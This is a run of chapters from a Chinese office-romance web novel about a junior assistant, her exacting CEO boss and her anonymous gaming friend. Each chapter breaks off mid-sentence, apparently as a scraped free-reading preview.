何秋艳说:“周总吩咐给保安室了,如果这个人再来,就把他赶走。” “周总?”许明朝有点诧异。 他日理万机,还有空管这个事呢。 “是啊,他亲自吩咐下去的,可能是怕影响公司形象吧。” 许明朝有点担心,“何姐,你说周总他会不会……” “你说周总会不会把这事儿怪到你头上?”何秋艳懂她意思了,“放心吧,周总这人虽然看上去不近人情,但做事向来是公平公正的,上周那件事又不是你的错。放心吧啊。” “谢谢何姐。”许明朝松了口气。 她虽然常常在手机上和方知渺吐槽老板,以及时不时狗叫着要辞职,但要让她真的离开这,她还是很舍不得的。 她刚进入星越总裁办的时候,是这里年纪最小的,其他人要么是从星越其他部门调任上来的,要么就是周屹川上任之后自己带过来的老人。 只有她,刚毕业的菜鸟一只。 自她入职,何秋艳就一直带着她,她还记得第一天来这里报道时的时候,穿着T恤和牛仔裤,身上背着帆布包,俨然一副学生气。 何秋艳看见她,说:“你就是新来的那个应届生?” 许明朝小鸡啄米似得点点头,乖巧的模样。 “我还是第一次带应届生呢。” 何秋艳随口说的一句话,让许明朝担忧了一个月,生怕自己哪里做的不够好,把她辞退了。 事实上,她确实没有哪里是能做的好的。 每天都在犯错,每天都在挨批,周屹川那张嘴就像淬了毒的银针,扎得她千穿百孔,有时候连带着何秋艳,都要陪她一同挨骂。 “对不起何姐,又连累你了。”许明朝眼睛红的像只小兔子,但就是忍着不掉眼泪下来。 何秋艳总会像一个暖心大姐一样安慰她:“没事,你刚毕业,很多事不懂正常的,别灰心。”,等到她情绪恢复了,再来跟她讲到底是哪里没做好。 还没毕业的时候,许明朝在网上看到过不少关于办公室争斗的东西,但是在星越总裁办的这两年,她只感觉到同事之间相处非常和谐,根本没有网上传的那么恐怖。 总裁办是个温暖的大家庭,但周屹川除外。 “客气。”何秋艳拍拍许明朝的肩膀,正巧周屹川从门外走进来。 周屹川的办公室在最里面,要进去必须先经过他们办公的地方。 许明朝条件反射般起身,抬起头,两人的视线猝不及防在空中相撞,像刚从冰箱里拿出来的可乐,摇晃之后再打开,涌出一地的泡沫。 很奇怪,许明朝总觉得自己和周屹川之间的磁场有点细微的变化。 从前的周屹川在她眼里,就是一个要求极为苛刻的老板,她对他的定位为—— 一个npc。 周屹川发布任务,她去领取,然后完成他给的任务就行。 不知道是不是在酒吧里的两次偶遇,让她看到了周屹川不太一样的一面,她现在觉得,她的老板好像不是电脑里的代码。 他好像真的是个人。 许明朝的脑子里在想别的事情,一不小心就和周屹川对视了几秒。 许明朝反应过来后,惊觉自己怎么犯了职场忌讳,居然和老板对视,立刻别开视线。 许明朝的心脏扑通扑通跳起来,她不会被抓到办公室询问工作情况吧? 周一早上被老板约谈,这简直要了她的命。 尤其,她还是一个团队里最菜的那个时。 幸运的是,何秋艳正好有事情找他:“周总,南山那个提案有点问题,我想重新和你商量一下。” “好,你来办公室和我说。”周屹川像一阵风似的从许明朝工位前走过,没有停留,没有点名。 好险。 许明朝长舒一口气。 - 何秋艳在办公室里和周屹川商量了许久,连百叶窗都拉上了。 这种情况,一般说明事情比较棘手,也代表着请勿打扰。 许明朝沏好了咖啡,找不到机 7. 第 7 章 《相亲对象是我老板》全本免费阅读 许明朝不知道他的这种放心从哪里来,明明她自己也七上八下的。 但既然老板都发话了,她只能支棱起来,等会到了目的地,不能怯场。 她暗自给自己打气。 后半程的车程许明朝很安分,没有再“兴风作浪”地盯着老板的脸看。 约莫半个多小时后,车到达了高尔夫球场。 长阳科技的老总王阳先一步到,正站在门口等候。 周屹川下了车,与他握手:“王总,久等了。” “没有,我也才刚到。”王阳笑呵呵地,确实如何秋艳说的那样,很和善。 王阳打完招呼,注意到周屹川身后的许明朝,生面孔,不经多了几分打量,问道:“这位是?” 许明朝认识他,但没有和他打过照面,一般情况下和对方老总谈合作的时候是由何秋艳出面的,王阳不认识她也属正常。 “是我的助理,许明朝。两年前招进来的,没带她来过这种场合,正好今天何助有急事来不了,带她过来历练历练。”周屹川不急不缓地解释。 “原来是这样,我看这姑娘长这么漂亮,还以为是周总改性了呢。”王阳玩笑道。 周屹川不近女色,这点圈里人都知道。 如今身边凭空出现一个年轻漂亮的女子,有这种想法是情理之中。 两人边聊边走,进了门,大片大片的绿色草坪,一眼望不到尽头,许明朝来这里之前上网查了一下这个高尔夫球场,据说占地面积有两千多亩,背山面水,还保留着各色植被,但是网上查到的资料远不如她现在亲眼见到的壮观。 许明朝跟在周屹川身后亦步亦趋,只敢用余光瞥一眼四周的景色。 她不敢四处张望,这样显得没见过世面且不识礼数,丢她的脸倒是不要紧,她怕的是丢了老板的脸。 不知走了多久,许明朝走进了一幢托斯卡纳风格的建筑,里面有接应的人。 周屹川和王阳是这里的高级会员,有自己专属的vip更衣室,走进房子里面后,两人分道扬镳,前去自己的更衣室更衣。 许明朝自然跟着周屹川走,这个房子很大,七晚八绕的,许明朝紧跟着他,生怕没跟住迷路了,走着走着,周屹川突然停下,许明朝差点没刹住脚步撞到他身上。 周屹川转身,许明朝和他的距离不到五公分,甚至能感受到他的呼吸。 温热的气息喷洒在她的脸颊,许明朝感觉有点痒,不知道是不是过敏后遗症。 她下意识后退半步,迷茫抬起头,和周屹川的视线相撞,僵持之际,周屹川的嗓音从头顶传来—— “不然你帮我换衣服?” 许明朝:……? 她沉默了几秒,说:“……这不合适吧?” 周屹川轻笑了一声,语调略微有些上扬,就连身上自带的冷意也淡下来几分,似笑非笑道:“你倒是真敢想。” 说罢,周屹川转身敲了敲更衣室门上的标志,打开门,进更衣室前补了一句话:“女更衣室在对面。” 许明朝这才把注意力转移到门上那个设计独特的男性标志上,反应过来周屹川刚刚是在损她。 许明朝:“……” 她又没来过这里,况且门上面的标志又这么独特,一看就是设计师为了显摆自己的才能,故作高深设计出来的产物,谁能猜出来那居然是个男更衣室。 狗老板,许明朝的小本本上又给他记了一笔。 换好衣服出来,和球童确认好球杆,出发去发球台。 周屹川和王阳坐一辆车,许明朝和王阳那边的助理坐后面一辆车。 今天的天气不算炎热,正好适合这样的户外活动,乘着小车在树木之间穿梭,阳光透过树梢在许明朝身上留下剪影,温暖又不至于发烫,连带着许明朝的心情也好了起来。 小车开了大约十分钟,才到达球场。 许明朝从来没有打过高尔夫球,暂且不说她的体育细胞为零,就算有体育天赋,她的日常也接触不到这种高端项目。 所以当下车以后,听见周屹川和王阳嘴里说的那些“三杆洞”、“四杆洞”,拿着球杆的她越发心虚起来。 许明朝心里默念着,别点我名,别点我名,然而墨菲定律告诉我们,一般这种情况下—— “许助会打高尔夫吗?”王阳突然点到她名字。 许明朝只能摇摇头,说:“不会。” 王阳笑道:“你们周总很厉害,让他教教你。” 许明朝转头看了一眼周屹川,他换上了运动装,额前的碎发随着微风飘动,脱去西装的他,少了几分疏离,多了一丝少年感。 从前许明朝绝对不会把少年感这个词和周屹川放在一起,因为他太过于高深莫测,宛若一朵高岭之花,如今换了身运动服,她才记起来周屹川也不过才二十多岁。 和她同岁?大一岁?大两岁? 好吧,具体的她好像不知道。 许明朝没敢接王阳的话,周屹川垂着眼睑,语气有些漫不经心:“跟我来。” 他把她带到了一块有红色标识的区域,许明朝不懂这些颜色是什么意思,周屹川给她解释道:“红色是女子初学者打的区域,白色是男子初学者以及60岁以上人群打得区域,蓝色是女子职业选手的区域,黑色是男子职业选手的区域。” 许明朝小鸡啄米般点点头:“哦。” “现在我来教你怎么打球。”周屹川一边给她做演示一边解释,“上半身前倾看球,膝盖微弯,身体微微□□,然后——” 周屹川突然抬起手臂,挥起球杆,利落下杆,高尔夫球稳稳地飞了出去,划过一道弧线。 “你来试试。” 周屹川打得好轻松,许明朝一瞬间觉得打高尔夫球好像没那么难,直到她学着周屹川刚刚的姿势,挥起球杆,用力往下一挥然后—— 白色小球安然不动,旁边的草皮被挖起了好大一块。 许明朝:“……” 好尴尬。 窘迫之际,许明朝忽然感到后背一热,周屹川不知什么时候站到了她的身后,抬起手臂把她环绕住,视线落在她的手上,帮她调整了一下她的握杆姿势。 两人靠得太近,许明朝有些不适从,大脑里的想法乱飞,直到周屹川的声音冷冷传来:“专注。” 她像开小差被抓住的小学生,微微脸红,把注意力转移到了球杆上。 “手和肩膀要放松,抬头收下巴,扩肩挺背,底盘要稳。双手贴着身体跟着启动点引杠,然后——”周屹川握着她的手,许明朝只感觉到自己的手臂仿佛甩飞了出去,白色小球也跟着飞了出去,“用力挥 8. 第 8 章 《相亲对象是我老板》全本免费阅读 周屹川最近一段时间回家很晚,他是工作狂是一个原因,另一个原因是,他的妹妹周听雾搬来他的别墅了。 周听雾原本住在她的大平层,一个月前楼上那户人家开始装修,吵得她上午根本睡不了觉,当天她就收拾了行李,搬来了周屹川的别墅。 原本嘴上说着要出去租个房子住,结果拖了一个月,没音讯了。 周听雾很烦人,周屹川为了躲她,天天在公司忙到深夜。 今天难得这么早回去,周屹川打开别墅的门,却发现比往日里更加热闹。 ——他妈也来了。 孟竹女士正在厨房里忙活,还把老宅的阿姨也带了过来。 “妈,你怎么也来了?”周屹川一个头两个大。 一个周听雾就让他心力交瘁,再来一个他妈…… “……” “你妹妹能来,我就不能来?”孟竹端着一锅汤出来,放到桌面上,有点不高兴,“我正要打电话催你回来呢,没想到你正好回来了,那开饭吧。” 周听雾在一旁打岔,“哥,妈来是催你相亲的。” 孟竹的脸色垮了下来:“你这死丫头,净给我捣乱。” 孟竹今天过来,确实有很大一部分原因是因为这个,但她知道她这个儿子不想谈女朋友,也很讨厌相亲,每次打电话和他说这个事情没说两句就挂断。 原本想在饭桌上好好跟他说,结果被自己的女儿提前透露了。 周屹川倒不意外,孟女士找他,说来说去无非就是这些事情。 曾经孟竹还因为他不谈女朋友,担心地问他是不是同。 他高中的时候就出国念书,在国外呆了几年,孟竹怕他被国外的文化影响了,缠着他问了好几天,直到他再三保证自己不是,孟竹才放过他。 饭桌上,孟竹酝酿了一下午的话,准备给他做思想工作。 周屹川自带屏蔽仪,孟竹说话的时候基本保持沉默,偶尔被她点名,他才会敷衍了事地“嗯”一声。 孟竹被他明显的不能再明显的敷衍惹火了:“我跟你说话呢。” 周屹川:“我听着呢。” 周听雾在一旁看热闹:“妈,你这就是在对牛弹琴,哥这头老黄牛,越老越倔,你说什么都没用。” “吃你的饭!”孟竹瞪了周听雾一眼,让她别看热闹不嫌事大,紧接着又转而望向周屹川,切入两人整体,“孙阿姨给你介绍的那个女孩子——” 周屹川抬了抬眼皮,打断了孟竹的话,“知道了。” “你这孩子,我话都还没讲完——”孟竹嘴比脑子快,话说出去一半了,才反应过来不对,“诶?你刚刚说什么?” “您再问我可就要改主意了。”周屹川放下碗筷,虽然讲话还是拽拽的,但是语气很松散,反而带了点玩笑的意味,“我吃饱了。” 说罢,离开餐厅转身上了楼。 周屹川离开之后,孟竹还是不敢相信,又问了一遍周听雾:“你哥刚刚说什么你听清了吗?” “哥他好像……答应了?”周听雾的反应和孟竹一样。 事情进行地过于顺利,反倒让孟竹有点不安,“他没事吧?” 之前把人姑娘的微信推给他,反手一个拉黑,到了上周五才放她出来,现在怎么突然松口了? 周听雾若有所思地望着楼梯上的背影,最后笃定地点点头:“他可能是喝中药调理好了。” - 许明朝回到家,天色还没暗下来。 前段时间她一直在忙和长阳科技合作的事情,连着加了一两个星期的班,如今合同正式敲定,这个项目总算暂时告一段落。 她看着手里的文件袋,小心翼翼放在书架上,总算可以轻松一阵了。 吃过晚饭,洗漱完,许明朝按照惯例,拿起平板打开了游戏。 暑假来了,她要去好好整治一下游戏里的小学生。 她刚上线,巧的是,句号哥也在。 许明朝没想到句号哥也玩这个游戏,看他的名字和头像,一股高冷范儿,居然也玩游戏。 句号哥的id是好像是一个英文,不过许明朝不认识这个单词,叫【demain】。 许明朝在她脑海的英文词库中搜索了一遍,好像确实没有。 不过这也符合她对句号哥一贯的印象,神秘,高冷。 许明朝好奇地点开他的账号看了一下战绩,不看不要紧,一看吓一跳。 大佬啊。 许明朝惊到了,这哥的历史战绩,kd,还有淘汰分,妥妥的击杀王者。 自从她知道句号哥和她一样深陷相亲之苦之后,她和句号哥的关系就莫名紧密了起来,仿佛多了种一起并肩作战的战友情,尽管连面都没见过,也没说上几句话,但就是,亲切啊。 许明朝点开游戏里的聊天框,输入—— 【大牛哥,菜菜,带带。】 许明朝是个菜鸡,但是抵挡不住她又菜又爱玩,尽管见人就倒,有些时候还要被对面开全麦嘲讽人机,但她被喷自闭之后,第二天又会信心满满地点开游戏。 然后—— 再自闭。 循环往复,宛若一个永动机。 后来她苦练一个月,废寝忘食,通宵达旦。 ——这个游戏里终于没人能喷得过她了。 虽然经常喜提禁言大套餐,但是许明朝把这视为一种荣誉。 因为,这代表她又骂赢了。 后来许明朝就把自己的id改成了【嘴甜网友】。 没过一会儿,对面回她了。 demain:【你这称呼……?】 嘴甜网友:【嗯?】 嘴甜网友:【大牛不喜欢?】 嘴甜网友:【那你喜欢什么?】 嘴甜网友:【嗯?】 嘴甜网友:【说话】 demain:【……良家妇男我】 demain:【比较含蓄】 许明朝想起那天晚上,她说不会拉良家妇男下海的事情,意识这个称呼好像是有点过于奔放了。 她知错就改,立马道歉。 嘴甜网友:【抱歉抱歉,牛哥,我马上改】 嘴甜网友:【小妇男,菜菜,带带?】 demain:【……】 句号哥好像被自己无语到了,许明朝突然有点后悔,这样他岂不是不愿意带自己打游戏了? 许明朝点了组队邀请,虽然没抱多大希望,但意外的是,句号哥进队伍了。 许明朝:!!! 虽然是闭麦的。 不过没事,考虑到句号哥可能比较含蓄,许明朝也不会强迫他开麦。 正好她的账号昨天又被禁言了。T.T 她在聊天框里输入—— 嘴甜网友:【不好意思,被禁言了,不能开麦。抱歉/】 demain:【?】 嘴甜网友:【昨天夸了队友几句,语言过于优美,就被禁了,嘿嘿】 demain:【厉害】 嘴甜网友:【你想开麦可以开】 demain:【不方便】 嘴甜网友:【理解】 嘴甜网友:【知道你害羞,小妇男】 嘴甜网友:【不勉强】 demain:【……】< 9. 第 9 章 《相亲对象是我老板》全本免费阅读 接下来的几局句号哥改变了战术,不带着许明朝去钢枪点了。 先去野区搜东西,猥琐发育,然后再开车找落单的人打,要是遇到满编队就跑。 这样一来,队伍存活率果然高了许多。 遇到人机,句号哥会让给她,遇到实力比较弱的敌人,句号哥会让她上去先打,他在后面架枪,遇到实力很强的,许明朝只要负责躲起来。 这哪是队友啊,这简直是集技术与服务为一体的高级陪玩! 许明朝打了一晚上,体验感攀升。 一会儿她可得好好夸夸这位句号大哥! 游戏打完后,许明朝私聊了他的微信。 许明朝:【今晚的表现很好。】 许明朝:【我很满意。】 许明朝:【我封你为我的专属陪玩。】 许明朝:【希望今后都这样服务我。】 句号哥:【?】 句号哥:【不然今晚的陪玩费结一下?】 许明朝:【?什么东西】 许明朝:【我的眼睛怎么突然听不见了】 许明朝:【明天早上还要送奶奶去上学,我先睡了】 句号哥:【………………】 - 第二天一早,许明朝准点去上班。 长阳那个项目一结,许明朝暂时没有接手新的项目,短暂地进入了休闲期。 倒是何秋艳,因为那个南山的案子忙得不可开交,一上午屁股就没在座位上过。 何秋艳刚打完一个电话,回到工位上,一脸的疲惫。 许明朝递了杯咖啡给她:“姐,刚泡的咖啡。” “谢谢啊。”何秋艳接过许明朝的咖啡。 忙了一早上,泡杯咖啡的功夫都没有。 “姐,南山那个项目很棘手吗?” 何秋艳喝了口咖啡,精神了些:“是啊,那里有几户钉子户抱团不肯拆迁,狮子大开口,每户都要两千万。昨天我去和他们谈了,价格提高到八百万一户,已经翻倍了,还是不肯,咬定要两千万。” “这么难搞啊?” “是啊,因为他们不肯拆迁,这个项目只能停滞,之前安排好的施工队还要一个个去协调。”因为这个项目,何秋艳已经忙了好几天了。 何秋艳话刚一说完,又有电话打进来,“我先去忙了啊。” 说完,又急匆匆地走了。 接下来两天,因为南山项目的事情,何秋艳没出现在公司,可能又去交涉了。 许明朝按照惯例,给周屹川送咖啡,透过玻璃门,许明朝看到周屹川正在打电话,眉心微微蹙起,似乎遇到了什么麻烦。 许明朝抬起手敲了敲玻璃门,周屹川朝她点了点头。 许明朝推门进去,把咖啡放到了他桌上,同时听见了他打电话的声音。 “不要一起谈,把他们拆开,不要让他们抱团,一个一个去谈,根据每个人的情况,给他们一点额外的帮助。我记得有个人是不是家里人有人生病来着……”周屹川停顿了一下。 “就说我们能帮他转院,找最好的医生帮他家里人治病……嗯……然后再单独和他们说他们当中已经有人松口了……” 听起来好像是南山那个项目,许明朝偷偷瞄了周屹川一眼,不料周屹川正好朝她看过来。 许明朝立刻收回了目光,心虚地抿了抿唇,离开。 离开的时候听见周屹川还在打电话。 “就这样……那个刺头别管他……” 周屹川那通电话打完不久就离开了公司,不知道是不是因为刚刚那个电话。 看来南山那个事情确实不好解决,连何秋艳都搞不定,还要周屹川亲自出面。 不过周屹川一走,许明朝还是很高兴的,办公室的氛围都变得轻松了起来。 快乐摸鱼,刷刷某音某书,不用担心会被老板抓到。 接下来两天,周屹川也没来公司, 许明朝休闲上班,准点下班。 不过有点遗憾的是,这几天句号哥晚上都没上线。 原本想着正好不用加班,可以让句号哥带她打游戏,但是每天晚上上线,在线列表都看不到他。 可能是太忙了吧。 许明朝有点失落。 - 一晃眼到了周末,许明朝不是很喜欢社交,偶尔出去也是和方知渺一起,现在方知渺有了男朋友,没空理她,她出门的机会就更少了,她大部分时间都是宅在家里,看书刷剧打游戏。 之前追的一部剧周五晚上完结了,许明朝没有好看的剧可以续上,许明朝没事情能干,又打开了游戏。 下午的场次没有晚上难打,因为高手都集中在晚上出现,但是下午游戏里的小学生会特别多。 许明朝比较倒霉,一撞撞一窝。 她在野区苟分,忽然开过来一辆车,下来四个人,把她给围攻了。 她双拳难敌八手,被人用雷炸倒了。 原本这没什么,野区苟分撞满编队不是什么新鲜事,关键是那队人打倒她之后还不补掉她,四个人围了一圈拳补她,还开全麦嘲讽她,说她是人机姐。 许明朝:? 她一听麦克风的小孩音就知道,她这是撞了一窝小学生,还是没素质的那种。 她刚想开麦好好教育一下这几个小学生,净化游戏环境,一点麦克风,想起来自己的禁言期还没结束。 “……” 可恶啊! 明天就能解封了,为什么偏偏在今天被嘲讽。 被嘲讽倒没什么,让她难受的是,被嘲讽还不能还嘴! 这种无助的时刻,许明朝就不争气地想起了句号哥。 如果句号哥在的话,这样的小学生他能一口气打十八个。 他一定会为她报仇的。 许明朝看着自己的盒子,破防地下了游戏,伤心点开微信。 许明朝:【哥,打游戏吗?】 许明朝:【今天撞了一窝没素质的小学生,他们还拳补我,嘲笑我是人机姐。】 许明朝:【我被侮辱了呜呜呜呜呜呜呜呜呜】 消息发出之后,句号哥并没有马上回复,许明朝关掉微信,点开了某视频软件平复心情。 隔了三十分钟,微信弹出消息。 那时候许明朝正在刷直播,想着从主播那里偷学一点技术,下次完虐小学生。看到有微信消息弹出来,许明朝兴奋地点开,然后—— 被二次嘲讽了。 句号哥:【其实】 句号哥:【……这也不算侮辱吧?】 言外之意就是,她确实像个人机。 许明朝:【?】 许明朝:【???】 许明朝:【你知道你在说什么吗?】 许明朝:【你到底是哪边的,我们不是世界上最好 10. 第 10 章 《相亲对象是我老板》全本免费阅读 句号哥:【你老板……】 句号哥:【也这样?】 这句话简直问到了许明朝心坎上,她一下就憋不住了,洋洋洒洒打了一大串。 在吐槽老板这个赛道,她是资深的。 许明朝:【哇——我老板,我跟你说,他就不是个东西。】 许明朝:【一天就24个小时,他恨不得拿人当48小时用。】 许明朝:【骡子都没这么使的。】 许明朝:【恨不得在公司配张床,哦不,我们就不应该睡觉。】 许明朝:【他开得哪里是公司呀,他是建了一个日不落帝国。】 许明朝:【下辈子投胎成峨眉山猴子,甩他一百个大鼻窦。】 …… 许明朝话太密,一下子就刷屏,好不容易才让句号哥插上一句话。 句号哥:【一百个,是不是有点多了?】 许明朝:【?你怎么回事?】 许明朝:【心疼老板倒霉一辈子,懂不懂?】 许明朝对他的发言很不满意,严厉地遏止了他不正当的思想。 许明朝:【道歉。】 句号哥:【?】 许明朝义正言辞。 许明朝:【身为打工人,没有打工人的觉悟。】 许明朝:【为老板说话,你说你是不是罪该万死?】 句号哥:【受教了。】 句号哥有改过自新的迹象,许明朝打算给他一次弃暗投明的机会。 许明朝:【下次要跟着我一起骂老板,知道了吗?】 句号哥:【……我比较内敛。】 许明朝:【…………】 许明朝:【行吧,看在你是良家妇男的份上,我可以放宽要求。】 许明朝:【毕竟从一个良家妇男到泼夫骂街是需要过渡的。】 许明朝:【这次就先放过你,下次不能再这样了。】 许明朝:【该骂人时就要张嘴,老板这玩意儿不就是用来骂的吗?】 许明朝:【你说对不对?】 许明朝发出最后一条消息,看着聊天框正上方的“对方正在输入中……”不停地显示又消失。 对面好像被她说动了,但是有点犹豫不决。 想必是句号哥在做艰难的选择。 没关系,她理解。 最后,对面回了一句—— 句号哥:【……对】 不知道是意识了自己的错误,还是妥协了。 但是,不重要。 重要的是结果。 许明朝:【很好。你的意识形态正在改正,但还是要跟着我多学,骂老板我最有经验,下次带你一起。】 这次对面没有犹豫不决了,回得很快。 句号哥:【好】 许明朝:【行了,去忙吧。】 - 经历了被小学生围攻,而自己的禁言期还没解除,句号哥又不能上线,许明朝没了玩游戏的兴致。 在空调底下吹了一天,许明朝有点头疼,正好快到傍晚了,许明朝关掉空调,开窗通风,打算去外面走走。 她换掉睡衣,随便套了件T恤和休闲裤就出了门。 打开门,热浪袭来。 盛暑天气,就算到了傍晚还是热。 好在许明朝不是一个很怕热的人,她走出居民楼,小区里有三三两两的人在散步,大部分是老人带着孩子,偶尔有几个年轻人。 她走出小区,路边有卖路边摊的小推车。 许明朝生活地随意,正巧肚子饿了,看见有路边摊,每样都宠幸了一遍,当做今天的晚饭。 许明朝一边吃东西一边遛弯儿,买来的东西全部吃完后,正好走到了一家大型超市门口。 今天周六,超市在搞促销。 许明朝想起家里快要见底的冰箱,思考三秒,走了进去。 超市里人不少,许明朝拿了个小推车,在人群中穿梭,从零食区,走到日用品区,最后到了果蔬区。 许明朝做饭一般,只到能吃的程度,挑选食材的本事也可想而知。 她学着超市里的阿姨,拿起两个小南瓜对比了半天,也没看出来有什么区别。 但是为了显示自己的专业,她买东西前还是装模作样地拿起来对比了一遍,仿佛是举行某种必要的仪式。 许明朝对比完,随机选了一个南瓜放进自己的购物车。 南瓜还没放稳,许明朝忽然听见耳边传来一阵轻笑。 很轻,但她听得很清楚。 许明朝奇怪地转头看一眼,看见她右侧站着一个年轻男人。 不认识。 许明朝在大脑中搜索了一遍记忆,得出结论。 但是那个年轻男人的视线正望向她的方向,许明朝有点怀疑地往她左边看了一眼,空无一人。 许明朝:? 许明朝心里虽然疑惑,但不想和陌生人有交集,选完南瓜后直接离开了那片区域,走到了水果区。 许明朝正在犹豫是买一整个西瓜还是半个西瓜的时候,那个年轻男人跟了过来。 在距离她半米的位置。 可能是巧合吧。 许明朝用余光看到了他,不打算理会,转身到了肉类区。 面前是一片排骨,许明朝分不出有什么区别,最后选择用点点点,点到哪个选哪个的方式来选排骨。 她选了左边的。 手还没落下去,那个人又跟了过来。 事不过三,这还是巧合就说不过去了。 许明朝扭头瞪他:“你跟着我干什么?” “选右边的。” 两个人同时出声。 许明朝本来要选左边的手忽然犹豫了,没有落下去。 “你说选右边我就选右边?” “你怎么知道我是跟着你?” 又是异口同声。 许明朝:“弟弟,从蔬菜区,到水果区,又到这儿,事不过三,懂不懂?” 面对许明朝的质问,年轻男人显得很委屈:“姐姐,这么快就忘了我,我好伤心哦。” 许明朝思来想去一圈,不记得在哪里见过他:“别套近乎。” “上周在‘如此’酒吧,我请姐姐喝过酒。” 闻言,许明朝回想起来,那个在酒吧和她搭讪的男模。 那晚灯光太暗,她没看清那个人长什么样,但是看身型,好像是差不多。 许明朝思索的片刻,年轻男人立刻敏锐地捕捉到了,“想起来了吧,姐姐,我叫宿夏。” “没想到会在这种地方碰到你。工作不忙?” 确实意料之外,在酒吧工作的男模,竟然会在菜市场这种充满生活生活气息的地方碰到。 有种奇怪的割裂感。 “今天休息。”宿夏说,继而话锋一转,“姐姐,我觉得你还是对我有偏见。” 许明朝:“?” “男模就不能出现在菜市场?”宿夏看着她,“其实我做饭一绝,比 11. 第 11 章 《相亲对象是我老板》全本免费阅读 许明朝没想到世界上还能有这种飞来横祸。 她有过三个月无休疯狂加班的经历,也试过在跟项目的时候半夜被电话吵醒,但是还没遇到过,手里没有工作,周末过到一半,突然被叫去公司加班的情况。 ??? 许明朝满头问号,不知道她的老板又在发什么癫。 电话已经被挂断了,宿夏站在她身旁,微信还没来得及加上。 下一秒,一辆黑色商务车在她脚边停下。 周屹川摇下车窗,侧头,视线先是落到了许明朝手里的购物袋上。 她买了很多东西,透过袋子隐约能看出买了些什么。 一些日用品,食材,零食。 紧接着周屹川又扫了一眼旁边站着的宿夏,只停留了一秒便收回目光。 两个人都穿的很日常,并排站在一起,远远看上去挺像小情侣来超市购买生活必需品。 不同的是,两个大袋子都在许明朝手里。 周屹川显然发现了这个细节。 袋子似乎很重,许明朝的手都勒得变色了。 “东西先放我车上吧。”周屹川微微抬眸,看着许明朝的脸:“上车。” 许明朝还以为周屹川说‘捎她去公司’这句话是骗人的,结果下一秒,人就出现在眼前了。 她连拒绝的余地都没有。 许明朝上车前挣扎了一下:“老板,我手上好像没项目吧?” 意思就是,我加的哪门子班呢? 周屹川表情平静,淡淡开口:“何助身体有点不舒服,她的工作你来顶上。” 许明朝倒是很着急:“何姐生病了?她还好吗?严不严重?” “你倒是很关心她。”周屹川直勾勾看着她,余光时不时扫一眼旁边的宿夏,“没什么大问题,休息一下就行。” 说完,他又补了一句:“哦对了,别打扰她,让她安心养病,早日回来工作。” 许明朝:“……” 关心一下怎么就成打扰了? 她收回之前那句,感觉他好像是个人了,这句话。 他就是一个只会工作的N、P、C! 周六的休闲时光被周屹川打断,许明朝敢怒不敢言,最后只能冷着脸说一句—— “后备箱开一下。” 来展示她的怒气。 放完东西之后,许明朝正准备绕到另一边上车,宿夏开口叫住了她:“姐姐,加个微信再走吧。” 本来马上就要成功了,被这不知道哪里冒出来的人打断,宿夏看他也是同样的不爽。 许明朝本来就没有想加宿夏的微信,但是这次她还没来得及开口,周屹川先发言了:“许助理,很着急,麻烦您不要浪费时间在没用的事情上面。” “没用”这两个字他稍微咬的有点重,不知道是在针对谁。 许明朝:“……” 催催催,催命啊。 许明朝看了宿夏一眼,用眼神告诉他—— 看吧,我也没办法,不是我故意不想加你的。 随即上了车。 - 周六,公司里几乎没什么人。 星越大部分部门是不需要加班的,只是总裁办比较特殊,有些时候会格外忙些。 许明朝跟在周屹川身后,一个西装革履,另一个穿着居家服和拖鞋,她看上去不像是他的助理,反倒是像他的保姆。 随着电梯开门声响起,两人走到办公室门口。 今天总裁办也没有人在,外面的天已经彻底黑了,办公室里一片昏暗。 许明朝打开办公室的灯,突然一片亮堂,有点刺眼。 许明朝适应了一会儿,说:“周总,需要我做什么工作呢?” 她周六莫名其妙被叫过来加班,却连自己要加什么班都不知道。 真是……一言难尽。 闻言,周屹川停下脚步,没有马上回答,似乎是在思考。 许明朝骂娘的心都有了,刚刚还说的十万火急,好像星越没了她天就要塌了似的,现在却一副想不起来要她干什么的样子。 所以半路把她抓过来到底是为了什么? 周屹川停顿了三十秒,似乎在搜索自己丢失的记忆,过了会儿,才恍然大悟般说:“哦,何秋艳桌子上有关于南山项目的资料,过几天有几个合同要和那边的拆迁户签,你检查一下有没有问题。” 许明朝:??? 所以这么大费周章把她叫过来,就是为了检查一下何秋艳拟的合同有没有问题??? 许明朝真想掰开周屹川的脑子,看看里面到底装了什么。 她深吸了一口气,好平复自己的心情,用尽量平稳的语气说:“好的,没问题。” 周屹川说完,进了自己的办公室,许明朝则是去何秋艳的工位上拿南山项目的资料。 南山这个项目庞大且繁琐,当初并没有让许明朝参与,现在项目都快要落地了,突然把她拉进来。 许明朝捧起何秋艳桌面上的那一大堆资料,嘴里念念叨叨:“怎么想的……” 很不理解。 这个项目的内容太多了,许明朝无法在短时间内全部看完,只能挑最核心的内容看。 人一旦专注起来,时间就过得很快。 转眼就到了晚上十点。 许明朝把资料粗略过了一遍,那几个钉子户的情况也大概了解了,接下来就是要核对何秋艳拟定的合同。 许明朝看资料看得头昏眼花,因为短期内消化了太多内容,她那顿不正经的晚饭提供给她的热量也消耗完了。 她揉了揉肚子。 好饿。 但是看了眼旁边堆着的合同,不知道什么时候才能校对完。 她原本应该躺在床上吃着西瓜看综艺,而不是被关在这个地方一个人看合同。 许明朝越想越觉得自己可怜,合同也看不下去了。 她必须要找点认同。 许明朝想起了某个和她一样,周六还在上班的人,于是打开了手机。 许明朝:【哥,还在加班吗?】 对方秒回。 句号哥:【嗯。】 估计和她一样,加班加到生无可恋,所以有点别的什么事都是新鲜的。 许明朝知道句号哥和她一样,在某个地方也在加着班,心里顿时好受多了。 许明朝:【我也是。】 许明朝:【呜呜】 句号哥:【?】 许明朝:【我那个老板就是纯纯的有病。】 许明朝:【大周末的,逛完超市出来就打电话给我让我去公司加班。】 许明朝:【关键是那个项目我根本没参与啊!】 许明朝: 12. 第 12 章 《相亲对象是我老板》全本免费阅读 今天开车的不是司机,而是周屹川。 临近深夜,路上车辆稀少,没有白日里的喧闹。 四周寂静无声,许明朝坐在副驾,有点无所适从。 她从来没有和周屹川单独坐一辆车的经历,从前好歹前头还坐着司机,现在—— 不说话,有点尴尬。 说话,感觉会更尴尬。 许明朝思来想去,最终决定闭嘴。 好在她住的地方离公司很近,不过十几分钟车程。 只要她把这十几分钟熬过去就解脱了。 车窗外的景色不断倒退,许明朝看着窗外,默念着自己的回家倒计时。 约莫五分钟后,饥饿的感觉再次袭来。 刚刚在办公室的时候许明朝就觉得饿,后来被叫去办公室回答问题,精神高度紧张的状态下,暂时忘记了饥饿感。 现在加班结束,回家的路上,熟悉的感觉又来了。 